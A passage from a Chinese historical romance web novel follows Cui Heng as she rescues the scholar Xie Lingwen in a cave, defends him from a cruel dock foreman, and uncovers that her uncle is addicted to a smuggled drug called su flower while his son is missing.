“不行!”小孩扑过来抱住她的大腿,“你伤的很重,不能乱跑!而且殿下也嘱咐过我要看好你!”
“可是谢大人还没有找到。”崔蘅揉了揉冬禧的头,轻声道,“你忘了谢大人还给过你糖了吗?他自己一个人躺在外面,很可怜的。”
原来老大知道谢大人给过他糖。
冬禧还是放崔蘅走了,他也觉得谢大人很可怜。
那个元宵节下了很大的雨,他兜着糖被老大和殿下带去酒楼与王府的近卫哥哥们一起吃元宵,看见刚给过他糖的谢大人自己一个人坐在楼下观雨独酌。
今日百姓们皆阖家团圆,再不济也像他们这般一群兄弟挤在一起热热闹闹的。
但谢大人就自己一个人,身前万家灯火,身后百姓和乐,他虽坐在檐下,但冬禧莫名觉得他已经被淋湿了。
又下雨了。
崔蘅抹掉脸上的雨水,牵着马淌过灌木。
前日天色晚,她没有看清周边的环境,只能靠感觉和大致的记忆寻找。
在傍晚时,崔蘅终于找到那片浅滩。
浅滩上还残留着狼的脚印,她循着脚印往前走,看见斜枝上挂着一片白色衣角,上面还残留殷红的血迹。
她将那片衣角攥在掌心里,忙向四周探寻。
雨越来越急,崔蘅浑身都已湿透,雨水透过衣衫触到伤口,散发出阵阵刺痛。
她喘着气在大雨中朝前走,心中想,若是谢令闻死了,她定不会替他护着那个爱哭软弱的小太子。谁家孩子谁带着,她身边已经有了个冬禧,再来一个便管不过来了,孩子多了要翻天的。
“所以你得自己护着小太子,听到了吗谢令闻。”
崔蘅自言自语着提刀斩断面前的藤蔓,眼前顿时开阔起来,一个血淋淋的人靠着枯木,背对着她,沉默回应。
雨打枝叶,声声急促。
崔蘅寻了个山洞,废了很大劲才生起火
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,将谢令闻扶到火边取暖。
这人也是个命大的,不知怎得竟没葬身狼口,身上的伤口也没发炎。
崔蘅把带来的伤药洒在谢令闻的伤上,三下五除二扒开他湿透的外衣。
她本来是用手扶着他的肩膀,解开外衣后便想起身放到火边烤,昏睡的人没了力气支撑,猛然朝侧边倒去,她连忙蹲下身子扶住他。
微弱的气息划过崔蘅下颌的肌肤,最后落到她的脖颈处,感受到肩膀一沉的她僵住身子。
温热的鼻息如潮水般扑在脖颈上,他的唇离她的肌肤几乎没有距离。如此亲昵的姿势,让崔蘅出了一掌心的汗,半边肩膀都麻得没了知觉。
她缓缓吐出一口气,尽力忽略脖子上那点异样的感觉,将谢令闻从自己颈窝中扶起来,下巴被柔软微凉的什么扫过,激起一片酥麻。
崔蘅的心跳停止一瞬,手一抖差点直接按在怀中人的胸膛上。
她有些心虚地看过去,男人依旧紧紧闭着眼,里衣凌乱,露出莹白的肌肤上交错的陈年旧疤,带着几分狼狈的颓美。
一个文臣,也不知为何身上会有那么多伤。
崔蘅将他安置好后,把目光从他身上移开,背过身去解自己的衣带。
淋雨太久,伤口已经被泡发,再不处理就要溃烂了。
她朝后看了一眼,见谢令闻靠在山壁上昏睡,才将身上已经被血和雨水浸透的束胸解开。
锁骨下方遇刺时受得伤已经发白,崔蘅随手捡了个木棍咬住,将用火燎过的刀插入伤口中,一点点削去周围的腐肉。
浓重的血腥味掩盖住洞内的湿气,她满头是汗,剜下最后一刀,转过身用沾满血的手去拿药时,骤然对上一双清亮的眸子。
崔蘅一愣,连忙背过身去将衣服穿上,慌乱之下,衣带也系得乱七八糟。
山洞里只剩焰火燃烧的劈啪声,崔蘅背对着谢令闻,身体僵直,攥紧手中的匕首。
“要杀我吗?”他的声音很轻。
崔蘅面向他,冷声问:“你刚才看到什么了?”
谢令闻微微垂下眼,长睫微颤:“看到你的伤很重。”
崔蘅抿起唇,她确定谢令闻看到了。
以往他们对视他从不会闪躲,只有面对女子,他才会礼貌性地错视。
她有些后悔来找谢令闻了。
崔蘅收起匕首,一言不发地把干了的外袍递给他。
“多谢。”男人接过外袍,背过身去穿衣,洞中寂静,在细微的布料摩擦声中,他嗓音低哑地开口,“既会后悔,又为何回来?”
崔蘅闻言顿了顿,道:“我不想背人命。”
谢令闻转过身来,静静地看着她。
他已经整理好衣裳,头发也用枯枝挽起,一双眼睛乌沉似水,衣冠简陋也难掩其君子风华。
“自古有先蚕娘娘养蚕缫丝,母辛及秦良玉征战沙场。”
山洞外的雨已经停了,杂乱的马蹄声和喧嚣的人声传来,是三千营的人找来了。
谢令闻看着崔蘅,没有理会身后找到他喜极而泣的群臣,淡声道:“史书上再加你一个崔蘅,又有何妨?”
崔蘅愣住。
幼时她被知晓为女儿身,有人想将她拉进床榻,也有人想将她卖进烟柳巷。后来她扮作男人,可以光明正大地走在街上,甚至能成为赵檐的左膀右臂,在战场上酣畅淋漓的杀敌。
可她依旧找不到自己的出路,时常惶恐,时常迷茫。她不求与妇好、秦良玉一般名列青史,她只想活得体面、活得安稳。
崔蘅望向被众臣簇拥的谢令闻,慢慢攥紧拳头。
一个年纪轻轻便爬上至高位置,且与她各自有主的男人。
他真的不会将她的秘密公之于众吗?
30.莲池
第二日,申大爷亲自上门道谢,还带了几十抬谢礼,浩浩荡荡的一队人马煞是壮观,引来不少百姓围观。
“申家人去崔家做什么?”有不知情地瞧着蜿蜒的箱箧,带着几分羡艳问身边人,“莫不是申家要求娶崔家女儿?”
“你大约不知,择鱼宴上申小郎君养的恶犬跑出来吃了一个人,听说是崔家女儿一箭将恶犬封喉,这才没能让那恶犬伤更多人,申大爷是亲自来道谢呢!”
“那崔家竟成申家的恩人了!?”有人感叹道,“崔小娘子可了不得啊,这下与申家搭上关系,以后说不定还能捞个正房奶奶的名头。”
也有人嗤笑:“你当申家是什么猫狗都能攀上的地儿?崔显是秀才又不是皇帝,她啊,顶破天也就是个妾!”
百姓讨论间,申大爷已经到了崔家前。
门口只有店小二在扫落叶,他谦逊地道:“小兄弟,麻烦你去寻一下你家主人,就说申家前来为择鱼宴之事道谢。”
店小二还记着崔显的话,眼皮都未掀一下,“我们先生与娘子说了,今日不待客。”
申大爷朝屋内看了一眼,只见丽娘巍然不动地站在柜台后拨算盘,没分出一丝目光给他。
周围人见状皆窃窃私语,有人惊叹崔家竟如此胆大包天,敢将申家人拒之门外,也有人幸灾乐祸认为崔家惹了申家,好日子就此到头了。
申大爷在众目睽睽之下被驳了面子,脸上却没有一丝怒气,反而更加谦卑:“既崔先生不想见申某,那申某便下次再来登门拜访,这些东西便留于此地,劳烦小兄弟转交于先生。”
店小二道:“我们先生不收礼。”
申大爷却没听见一般,自顾自上马,领着人回了申家。
甫一跨进门,便有下人急匆匆来禀报说小郎君为六娘子罚跪祠堂的事闹着不肯吃药。
申大爷本就压着满腔怒火,此时更是气得胸口发闷,恨不得将自己这个蠢笨如猪的儿子塞回他娘肚子里,怒道:“他不吃便不吃,以后饭也不许给,饿死这个孽障也算给我申家积德!”
申大夫人刚在申宴山房中苦劝过一番,此时看到自己夫君这般大怒的模样,答应儿子的话也不敢再轻易出口了。
申大爷见她踌躇不决,心中便知她此番来是为何,冷哼道:“你若是替他来给穗娘求情的,大可不必再开口。择鱼宴祸事虽大责在于那个孽障,却是因穗娘而起,我免了请家法已是看在二弟的面子上,若再宽宥,我作为家主又如何该向齐抚州和那死去的家仆在天之灵交代!?”
大夫人咽下话,转而道:“我是想来请示夫君,前些日子我娘家得了一批好料子,要不要再送些给崔夫人。”
“不用,莫要动作太多,一味冲着他妻女去怕是会将崔显惹急。此人软硬不吃,多年前肯放弃追究那件事是他知道自己势单力薄,却不代表他怕我们。”申大爷沉思道,“这件事先放放,以后再找机会拉拢他也不迟,现下要紧的是将崔家看紧了,莫要让他们跑出我们眼皮子底下。”
申大夫人自然唯命是从,低声应了句是。
“还有那个孽障!”申大爷想起申宴山做出的蠢事便气恼不已,“让他管好自己,安安分分在屋子里读书,看看今年一甲谢小郎,年仅十二岁便稳重从容,他拍马也赶不及!”
知道自己父亲不愿意放申穗出来后,申宴山急切地道:“不行!穗娘怕黑,夜间她自己在祠堂会害怕。”
“我亲自去寻父亲!”他拖着伤体翻身下榻,刚挪动一点脸色便瞬间变得惨白,额头沁出密密麻麻的冷汗。
“山儿!”大夫人吓得魂飞魄散,连忙扶住他,“若是你现在去了,你爹只怕会更生气,穗娘有人替她打算着,你瞎着急什么!”
申宴山喊道:“我是她哥哥!”
“你只是她堂兄!”申大夫人知道二房的人来过后便明白了原委,心中恨不得将二房那群心思深沉的人活剥了,“她犯了错本就该罚,你一个堂兄手伸那么长是做何?要全府上下都看着你这个做儿子的如何与老子作对的吗!?”
申宴山看着母亲,满眼失望,嘶声道:“阿娘!我们不是一家人吗?!祖母告诉我过要爱护兄弟姐妹,堂兄妹便不是兄妹了吗!?”
申大夫人望着自己儿子纯黑含怒的眼眸,唇角抽动,半句话也说不出来了,转身背对着他坐到榻边扶住额头。
申宴山是长孙,自小就被申老太太接到身边教养。
申老太太饱读诗书,父亲又是大儒,为人最是公正,申大夫人和申大爷都十分放心将孩子放过去,申老太太病逝后才将申宴山接到自己膝下抚养。
申大爷为他取名申宴山,是想他如山般沉稳,有俯视百川的魄力,可谁知最后竟养成这般模样,不仅遇事犹豫不决,还太过看重一些莫须有的东西。
若是以后他知道了申家做的事,又该作何反应呢?
申大夫人望向窗外,重重地叹了口气。
天边阴云密布,一只蜻蜓飞过窗棂和干涸的莲池,最终停在池底一片枯黄的莲花瓣上,花瓣浸在泥中看不出原来的颜色,已然腐烂不堪,与污泥化为一体。
“好多蜻蜓,是要下雨了吧。”崔蘅伸出手去够半空中低飞的蜻蜓,转身问道,“阿爹想好怎么安置这些箱箧了吗?”
她偷偷打开瞧过了,里面有金银珠宝,还有些书画古籍,都是些十分贵重的物品。
“申家的东西咱们不能要。”崔显不想让家里人与申家扯上干系,一时也不知道怎么处置这些东西。
自前些日子的一系列事中,崔蘅看出申家对崔家十分不一般,对于申大爷的热络,崔显反倒态度冷淡,一副不想与之有过多牵扯的模样。
她虽然不明白崔显为何会这样做,却知道他心思缜密,如此行事必然有自己的理由,便开口
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道:“这里有那么多财物,阿爹不如便将一部分换成粮食为城中穷苦百姓施粥,另一部分便折现送去齐抚州府上,近日我见城中毁损许久的桥梁开始修葺,齐抚州日日亲自去监工,鞋磨破了也不舍得换一双,这笔钱捐出去虽杯水车薪,也勉强算作我们为青州百姓出的一份力。”
“是个好主意!”
申家用大办择鱼宴将前三甲紧紧绑住,那他们也能用此种兴师动众的方法告诉大家这些财物他们没留下一厘。
崔显喜形于色,摸着崔蘅的脑袋道:“阿蘅不仅聪敏,还心系百姓,朝堂与百姓需要的便是你这般人才。”
崔蘅笑了笑。
她不喜欢官局朝堂,也并没有崔显想的那么善良,心系天下百姓。
上辈子她被许多人欺负,最大的梦想是吃饱穿暖,后来赵檐实现了她的梦想,为报答恩情,她将自己的一生都搭了进去。
这辈子她还没弄清自己到底是不是真正的崔蘅,若她真的是崔家女儿,梦想依旧不变,她还是想吃饱穿暖,守着爹娘过安稳日子,余下便是看谢令闻科考后走上青云路,最终成为权倾朝野的权臣,崔蘅往后便抱着他的大腿享受上头有人罩着,身边有爹娘护着的神仙小日子。
想到谢令闻,崔蘅挑了个烤得最好的番薯去了谢家。
他在家中潜心读崔显寻来的历年科考文章,崔蘅忍了很久没有去打扰,见天色已晚,才给自己寻了个理由过去。
谢家依旧未锁门,她一只脚刚迈进院子,便兴冲冲地喊道:“谢哥哥你饿不饿,我带了两个烤番薯来!”
往日他总会伏案于窗前,听到她的声音便抬起头温声应她的话,让她慢些跑,今日院子里静悄悄的,崔蘅到处都找过,却不见谢令闻的身影。
大黄在崔家柴房睡觉,也问不到它,崔蘅便放下烤番薯出门去街上寻。
她以为谢令闻是缺了笔墨来街上买,可转了附近几个铺子都没找到。
崔蘅正一筹莫展时,正巧遇到在码头做苦力的邻居陈顺。
陈顺向来敬重崔显,见到崔蘅便打了个招呼,随后又犹豫地问道:“阿蘅,你知道谢郎君在码头做工吗?”
崔蘅一怔,疑心是陈顺认错了人。
“我看着谢小郎长大的,怎么会认错?”陈顺见她这模样便明白她不知情,叹了口气道,“你回去劝劝谢小郎君,他一个读书人,身子最是金贵,富贵都在以后等着,莫要再为几文钱去做苦力了,那工头张虎因为福子被除名择鱼宴的事一直怀恨在心,总是刻意刁难他,小郎君面皮薄,受了欺负不吭一声,工钱也就那么一点点,不值当的!”
“陈叔,谢哥哥现在就在码头吗?”崔蘅急切地问。
“是啊,去好一会儿了,又被张虎派了最重的活儿,我走的时候他让谢小郎君一个人扛五箱货……”
他话还没说完,崔蘅便转身朝码头冲去。
31.生气
寒风席卷着乌云来势汹汹,天空黑沉沉的压下来,似乎马上就要坍塌。街上的百姓瞧着变天了,都急匆匆朝家赶,码头边劳作的苦力却无暇顾及天气,佝偻着腰搬运货物。
李老头将三四个货箱绑在一起,半蹲下身子将其背到背上,吃力地弯下腰,喘着粗气朝前挪。
码头的工钱按搬运的数量算,许多人贪量,会将每个都有十几斤重的货箱摞上五六个一起背到船上。
李老头年纪大了,最多也只能背两个,新年将至,他想给孙女扯块花布做新衣裳,便想多背些货,多赚些钱。可他毕竟老了,比不得年轻人,狂风一吹,身子便随着高高摞起的货箱晃荡。
江边的浪拍在岸上,将土地砸的泥泞不堪,李老头脚下一滑,步子顿时不稳,眼看就要被货箱拽倒,一道清瘦的身影用肩膀抵住货箱,将他稳稳地撑住。
李老头冒出一头的冷汗,转眼望向身边的人,感激地道:“谢小郎君,多谢你救我老头子一命。”
少年郎眉眼沉静,微微颔首,转身拿过绳子去捆货箱。
他年轻,身段清瘦,面庞生得俊气,又是今年择鱼宴一甲,在码头中灰扑扑的众人中很显眼。
劳工们原等着瞧这个白面小书生的笑话,却不想他在此做了快七天的工,半声累都没喊过,甚至比一些中年汉子赚得还要多。
李老头瞧他摞了七个箱子,弯腰背的时候站起来十分吃力,便上手去扶了一把。
恰巧张虎打酒回来,看到李老头在帮害自己儿子被除名择鱼宴的谢家小子,顿时怒上心头,大步上前,指着李老头骂道:
“是不是年纪大了耳朵瞎了,我说过谁也不许帮谢家这小子你没听着吗!?给我撒开手,让他自己背!”
张虎十二岁便在码头讨饭吃,练得一手见人说人话,见鬼说鬼话的本领,将上一任工头伺候的服服帖帖,工头回家养老后便把位置传给了他。
他平日里仗着手里有些小权没少磋磨劳工们,这回与崔家有关系的谢令闻落到他手上,他更是毫不客气,不仅没少克扣谢令闻的工钱,还把最重的货交由他搬,不允许任何人搬忙。
李老头被张虎一吼,身子顿时颤了颤,面带歉意地松开了手,“谢小郎君,抱歉。”
谢令闻抿起唇,背着货箱朝船上走去。
捆货箱的绳子是普通的麻绳,此时被沉甸甸的货物坠得绷紧起来,将他的肩膀勒出一道深痕。
张虎灌了口酒,倚在树旁看着谢令闻清瘦的背影,不耐烦地轻啧道:“太慢了,照你这速度怕是要搬到天黑,来几个人,再给他加两箱上去。”
有想借机讨好张虎的,立马扔了手里的活计去搬货箱。
“张爷,谢小郎君若搬不完,我可以不要工钱帮他。”李老头颤巍巍地向张虎拱了拱手,“还请张爷看在他年纪还小的份上高抬贵手,会把人压坏的!”
“嗤——不知道的还以为你是他孙子。”张虎讥笑着走近李老头,伸出手轻轻拍了拍他的脸,“再多说一句,你今天的工钱就别想要了。”
谢令闻抬起眼望向张虎,黑眸冷厉。
张虎被他看的不自觉心尖一缩,顿时气恼起来:“愣着干什么呢!?给他加箱子!”
几个劳工簇拥上来,他们也自知此事做的不地道,低声道:“谢小郎君,大家都是出来讨口饭吃的,你也莫要怪我们,你将身子放低些,待会起来时我们扶你一把。”
谢令闻垂下眼,屈膝放低身子。
随着箱子摞上来的震颤,他脖颈上的青筋凸起,膝盖猛地一弯,只差一寸便触到地面。
有劳工偷偷扶了一把,谢令闻才缓缓站起来。
张虎不许他们停下,劳工们看着瘦若细竹的少年郎艰难地走上船,便四散开来去做自己的事。
谢令闻将货放下后,额头已经沁出一层细密的汗,原本还算有些血色的面庞,此时已十分苍白。
他低头摊开自己的手,粗糙的掌心被麻绳划出一道血痕,掌中的薄茧也破了,皮肉翻出来,钻心的痛。
谢令闻下船蹲到水边,将手掌浸入江水中。
血在水里散开,碧色中透出的丝丝缕缕赤红如女孩子飘荡的裙摆。江水中恍惚现出小娘子扬起的笑脸,他轻轻眨了眨眼,伸出指尖去触,陡然一道鞭子砸下,如霹雳般劈开平静的水面,水花四溅,淋湿他清润的眉眼。
“谁许你偷懒的!”张虎喝得烂醉,拎着鞭子晃过来,“起来!干活!”
谢令闻恍若未闻,垂眼仔细地在水中清洗着手。
“你是聋子吗!?”
张虎恼了,甩开鞭子就要抽过去,忽然自后飞来一块不大不小的石头狠狠砸在他膝窝处,他惊叫一声,直接跪在地上朝谢令闻行了个大礼。
“哪个狗娘养的,竟敢打老子!不想在府城混了吗!?”张虎疼得破口大骂,半天没能爬起来。
又一块石头自天而降,精准无比地落入他嘴中,张虎正说着话,差点没将满嘴黄牙硌掉。
西边土坡顶出现一个身穿赤红色衣裙的小娘子,她冷眼瞧着张虎狼狈气恼的模样,笑道:“我竟不知,原来府城上下全要仰仗张叔了,那齐抚州府上张叔大约也能来去自如,我正巧要求抚州大人一件事,求张叔引荐一二。”
一番话把张虎的脸色说的青紫变幻,煞是精彩。
崔蘅却不放过他,走近了笑意盈盈地道:“下次再见张叔,怕不是我们都要磕头了吧?”
张虎呸掉嘴里边儿的泥巴,怒骂道:“你一个小女娃胡说八道什么!信不信我一只手就能掐死你和这个小白脸!”
崔蘅半点不怕,反而笑着道:“张叔大约不知,我朝律法,谋害举人或贡士及其家眷,是要车裂于市的。”
张虎瞪着眼珠子看她,鼻孔气地张张合合,黝黑的脸憋得通红,半句话也说不出来了。
崔蘅眉眼弯弯,朝他伸出手:“我家哥哥的工钱就此结清吧,他往后不来了。”
狂风刮过寂静的街道,四周只有呜呜的风声,崔蘅冷着脸在前面走,谢令闻默不作声地跟在后面。
她生气了,可他说不出话,又不知道该怎么办,一时间连与她并肩同行都不敢。
谢令闻抿紧唇,失落地垂下眼睫。
崔蘅本想走的再快一些,以此告诉某人自己有多生气。可风实在太大,她被吹的迈不开步子,索性停在原地,叉着腰训他。
“下次不许自己偷偷跑出去!真的很危险!”
少年小心翼翼地抬起眼瞧着她,轻轻点了点头。
冷冷清清的一个人如此乖巧,让崔蘅莫名其妙地心软了一下,她觉得不能轻易饶过,便板起脸问:“我不是告诉过你缺钱就去盒子里拿吗?为什么不听话?”
谢令闻知道盒子里面的钱其实早就被她给他做衣裳用光了,现在剩的全是她卖烤番薯挣来的。
他去做工是想在新年时把那个绢孩买来送于她,即是送她的礼物,又怎么会动她自己辛苦挣的钱?
他轻轻摇了摇头。
“什么意思?”崔蘅把手掌心摊开,向他道,“想说什么写给我瞧。”
谢令闻的目光落在小娘子柔嫩莹白的掌心上,犹豫了片刻后伸出手指,轻轻写下几个字:“你的钱自己收好,以后有用。”
她却气呼呼地望着他,瞧着怒火更上一层楼:“什么叫我的钱?我说过那是我们两个一起攒的钱!”
谢令闻蜷缩起指尖,似乎有些无
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措。
乌压压的云翻涌着滚来,天色又暗了许多,雨滴忽然密密麻麻地砸下来,崔蘅暂时咽下训斥,朝街边的屋檐赶去躲雨。
在她转身的瞬间,谢令闻的呼吸在刹那间停止,雨水冰冷,冻得他指尖发凉,浑身僵硬。他迈开步子想追上去,眼前却骤然浮现出阿娘走时决绝的背影。
雨水滑落到眼眶中,眼睛被刺得生痛,谢令闻敛下眼睫,慢慢收回步伐。
雨势渐大,水滴滑入衣领,崔蘅冷得打了个激灵,她下意识回头去看身后人,却发现谢令闻垂眼站在雨幕中,如泥塑一般,落魄又狼狈。
“下雨了怎么还傻站着?”崔蘅急忙跑过去牵住他的手,带着他躲到屋檐下。
谢令闻一怔,愣愣地看着小娘子赤色的背影,手腕上她的温度柔和却滚烫,让他僵硬的四肢逐渐回温。
原来她没有像阿娘一样想丢掉他。
谢令闻紧绷的心骤然松开,心尖颤抖,似猛然从深渊被拉回人间。
“不知道雨要什么时候才能停。”崔蘅放开谢令闻的手,看着檐外的大雨,无奈地叹了口气。
街边的屋檐很小,他们紧挨在一起,倒不觉得冷。
因着方才的不愉快,崔蘅决定不说话,好好晾一晾谢令闻。
身边人还在失声期,只能用那双漆黑的眸子看着她,视线在她身上几乎凝成实质。
崔蘅轻哼一声,背过身去不让他瞧。
谢令闻失落地收回目光。
恰时旁边的屋檐下来了个挑着馄饨担子躲雨的汉子,他一边嘀咕着糟糕的天气一边脱下蓑衣,掀开担子的盖子盛了碗热气腾腾的馄饨汤,一碗热汤咕嘟下肚,他舒坦地打了个饱嗝。
小娘子眼巴巴地瞧着那馄饨担子,馋虫都快从眼睛里爬出来。
谢令闻拿出放工钱的袋子想递过去,余光触及自己手上的伤时顿了顿,复而将袋子打开,从里面数出几文钱放在掌心。
崔蘅正懊恼自己没带够钱,忽然见眼前多出几枚铜钱,眼睛顿时一亮。
下一瞬,她就被铜钱遮住的伤口吸引。
“什么时候弄的伤?怎得这样重!?”小娘子攥住他的手,瞧着血淋淋的伤口,眉头紧皱,满脸焦急。
谢令闻垂下眼睫,将钱递给她,在她手中写道:“我无事,去吃馄饨吗?”
“你都伤那么重了我还吃什么!”崔蘅拿出帕子小心翼翼地擦干他伤口边的血迹,时不时抬头观察他的脸色,“疼不疼?要不要我再轻一点?”
谢令闻微不可察地勾起唇角,轻轻摇了摇头。
“下雨不知道躲,有伤不知道说。谢令闻,你是不是傻子?”崔蘅给他包扎好,虽还瞪着他,语气却和缓许多,“往后不许偷偷跑出去做重活,受伤也不许瞒着我,记住了吗?”
谢令闻看着她的眼睛,认真地点了点头。
小娘子这才消气,扭捏了一会道:“我饿了,我想吃馄饨。”
馄饨摊子的老板在一旁听了许久,心里跟明镜儿似的,早就预备好了馄饨,闻言热情地朝崔蘅招呼:“小娘子的两碗馄饨来喽!”
崔蘅捧着热气腾腾的馄饨,幸福地眯起眼睛,扬起脸朝谢令闻笑:“谢谢谢哥哥的馄饨。”
太阳终于出来了。
谢令闻松一口气,将剩下的钱收好,跟上小娘子欢快的步伐往家去。
一碗馄饨汤下肚,崔蘅浑身都暖洋洋的,此时心情好得不得了。
路过赌坊时,瞧见有个醉醺醺的男人被抬着扔出大门。
几个伙计都满脸厌恶。
“手指头都赌没了还来,也不怕输掉脑袋。”
崔蘅匆匆一瞥,总觉得那男人的身形似乎有些眼熟。
32.粟花
二人回到崔家后,丽娘忙备了热水干衣和姜汤给他们驱寒,崔蘅怕他们忧心,便将谢令闻擅自做工受伤的事瞒住了。
晚上崔蘅私底下找到崔显,告诉他自己在赌坊门前似乎瞧见了大伯。
没了手指,出现在赌坊又能让她眼熟的,只有崔大一人了。
崔显对自己大哥十分了解,心里明白崔蘅瞧见的必定是崔大,无奈地叹了口气:“就不该让他来府城,再入赌坊,这下子剁掉几根手指都难戒了。”
“阿爹,眼下应还是先找找堂兄,也不知道大伯将堂兄送到哪里去了。”
崔蘅担心的不无道理,嗜赌如命的人头脑一热什么都做得出来,别说亲儿子,便是自己的命也能押上赌桌。
崔显立马亲自动身去了赌坊,伙计说那人已经在赌坊赌了三四天,除了夜里不来,白天日日都到,输的连底裤都不剩。
崔蘅给气急攻心的崔显倒了杯热茶,笃定道:“阿爹莫急,今夜或明夜,大伯必定自己送上门来。”
爱赌的人没了钱必定会去偷抢,府城中崔大最熟悉的便是崔家,他不光临自己厌恶的弟弟家拿点值钱的东西,岂不是白来府城一趟?
崔显也想到此处,便吩咐崔蘅近几夜将房门锁好,无论听到什么动静都不要出来。
原本他们以为至少要明天才能抓到崔大,谁成想崔大竟当夜便翻墙而入,被大黄抓了个正着。
听到动静,崔蘅偷偷将窗子掀开一个缝朝外瞧。
大黄骑在崔大身上咬着他的衣服不松口,把崔大吓得一个劲儿喊救命。
崔显与丽娘匆匆出房门将大黄唤回来,崔大一见到二人便赶紧将脸捂住,一声也不敢吭。
“捂什么捂!?还知道自己丢人啊?”崔显面色难看,上前将他拽起来,“不是让你来接崔安回家的吗?崔安呢!?”
崔大缩着脑袋,连抬眼看崔显都不敢,支支吾吾地半天没说出一句完整的话。
崔显与丽娘对视一眼,便知情况不大好。
丽娘柳眉倒竖,冷声道:“既然不说,那就直接把他送去官府,严刑拷打总会撬出一两个字!”
一听要进官府,崔大顿时怂了,跪在地上喊饶命:“我说我说!别把我送进官府!”
顶着崔显与丽娘审视的目光,崔大冒了一脑门的汗,浑身抖若筛糠,哆哆嗦嗦地说:“我、我把安儿放在好友家借住,过几天就去接他。”
“还胡扯!你在府城哪来的朋友!”崔显气极,猛然一脚踹过去,将崔大踹得翻倒在地,哀嚎连连。
崔蘅便直接掀开窗户道:“阿爹阿娘,问不出他什么的,鞭子抽身上他才知道疼,直接交由官府吧,让官府帮忙去寻堂兄。”
崔显也知道崔大八成是将崔安卖给人牙子了,便也不再拖沓,当夜便绑着崔大去了提刑司。
经过一夜的拷打,崔大终于承认自己因为贪赌没钱,将崔安卖给了一对想要儿子的夫妇。
提刑司根据他提供的线索去查,却找不到任何二人的有关记录。
“虎毒尚且不食子!你连畜牲都不如!”崔显气得几乎想在公堂上动手。
原本还在骂骂咧咧的崔大忽然翻着白眼倒在地上,他的身子不断抽搐,长大嘴巴喘息着,面目狰狞可怖。
丽娘怕吓着崔蘅和谢令闻,连忙挡住两个孩子的目光,安慰道:“莫怕,是你大伯的痫病犯了。”
崔大自小便有痫病,可崔蘅总觉得这个表现不像痫病,反而有点像她在一本书上看到过的另一个症状。
崔蘅道:“这不是痫病,大伯以往犯病时都会口吐白沫。”
“不是痫病是什么?”
身边一直沉默的谢令闻忽然低声开口:“《本草纪》记载,粟花可入药、易成瘾,也可放入食物中提味,服用者食用过量将出现兴奋、躁狂、发热等症状,若成瘾后断服,则会呼吸困难、易怒、甚至出现幻觉。”
此话一出,所有人的脸色都变得十分难看。
提刑司司使更是怒道:“黄口小儿,莫要信口胡言!”
粟花多生在朝山以北,那里气候恶劣,土地又贫瘠,牧民们将所有可利用的东西都发挥到极致,包括将粟花传入刚开国的周朝,用其腐蚀大周人民的身体和钱财,试图倾覆这个国家。
幸而当朝反应迅速,以雷霆手段切断与朝北各部的商路,花费大量时间与人力彻查全国上下,将其计划扼杀在摇篮中。
崔蘅记得前世朝北各部趁大周内乱时又复用了这种恶心的法子,谢令闻不顾生命危险亲自出动游说已经占据一方土地的四皇子六皇子与赵檐,请求他们禁粟毁粟,共同抵御外敌。那段风雨飘摇的日子,反而使四分五裂的周朝又短暂地合并在了一起。
崔蘅看司使的眼神不善,下意识挡在谢令闻身前,道:“此事不得有误,大人不如找大夫来查验一下,也省得出了纰漏。”
提刑司司使明白不能疏忽,便让人带了大夫来瞧。
眼看着大夫摇了头,司使的脸瞬间褪去了颜色。
“兹事体大,需立即禀报给抚州大人!”他顾不得再管崔家人,擦着额头上的冷汗匆忙朝外去。
堂中一片死寂,崔显看着崔大,沉重地道:“这下谁也保不住他了。”
丽娘叹了口气:“陈娘可怎么活啊。”
不多时,齐抚州便到了,他下令提审崔大自何处接触到的粟花,可崔大昏迷着,怎么也叫不醒。
此事十万火急,众人却都束手无策。
崔蘅因是女眷,不便在堂中多呆,被请离时,她忽然顿住,扭头问齐抚州:“大人还记得那家酒很难喝的酒馆吗?”
齐抚州一愣,倏然站起身,厉声下令:“立马派人去围住西街酒馆,不许跑掉一个!”
今夜城内到处都是官兵,百姓人心惶惶,都不知道发生了什么,第二天街上也少了许多人,崔家的酒馆也关了大门,等待风波平息。
到了中午,院子的后门却忽然被敲响。
崔蘅自门缝中看见红肿着眼睛,满脸泪痕的陈娘,连忙打开门,“大伯娘!”
丽娘听见声音连忙出了屋,惊讶道:“嫂子,城中正戒严,你怎么进来的?”
陈娘一见到丽娘便顿时再也忍不住,眼泪直往下掉,哭得什么话也说不出来。
丽娘叹了口气,替陈娘擦掉眼泪,轻声宽慰:“官府已派官兵寻找安儿,估摸着这两天便能有消息,你莫要太忧心了。”
陈娘摇了摇头,哭着道:“我怕啊!万一安儿出了什么事,我都不知道该怎么活下去!”
孩子丢了做母亲的最焦急,丽娘也明白什么安慰的话都无用,便握着她冰凉的手焐着。
崔蘅见陈娘唇色发白,去厨房冲了碗甜浆端来,“大伯娘,你先喝点水润润嗓子吧,身体要紧。”
“阿蘅真乖。”陈娘勉强朝崔蘅勾起一个笑,想到平日顽劣的崔安在她生病时还会端药到榻边提醒她喝药,一时悲从心起,忍不住掩面恸哭。
到晚上,在外奔波一天的崔显和谢令闻终于回来。
二人和官兵在城中找了一整天,回来时面色疲惫,没带回半点崔安的消息。
“酒馆已经被查封,
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酒中也被查验中有少许粟花,可酒馆老板一口咬定自己是合理使用粟花酿酒,并不会让人成瘾,官府也搜过了,找到的粟花还不够一捧,只能将其暂时押在牢中。”崔显面色凝重,“还有大哥所说将安儿带走的那对夫妇也像凭空消失了一般,怎么都找不到。”
陈娘连哭都没来得及哭,顿时悲伤过度晕了过去。
丽娘与崔显忙着照顾陈娘,崔蘅和谢令闻便在书房待着。
“谢哥哥,堂兄还能找回来吗?”崔蘅心里沉闷得厉害。
谢令闻轻轻摇了摇头:“那些官兵大多不愿仔细查寻,连盘问酒馆老板也只是敷衍了事,崔叔塞了许多银子,他们才肯上一些心。”
这种情况太常见了,无权无势的普通人遇到难事便只能用钱打通路,即便散尽家财,结果也不一定如意,大多数会人财两空、家破人亡。
连齐抚州亲自接管此事都无用,他们还能有什么办法呢?
天空阴云密布,空气沉闷得人几乎喘不过气来。
“那就给他们钱,钱还能再赚,人没了就真的没了。”崔蘅攥紧拳头,转头问谢令闻,“谢哥哥,我能用咱们的钱救堂兄吗?”
谢令闻没想到她还会来过问自己,微微一怔,随后点头道:“当然可以。”
二人一起打开匣子。
崔蘅看着半匣子的钱,总觉得数目不对劲。
“……钱怎么多了?”她有些惊讶,轻轻晃了晃匣子,铜币碰撞发出清脆的声响,露出被掩盖着的半截信纸。
崔蘅将信纸拿出来,上面歪歪扭扭地写了几行字。
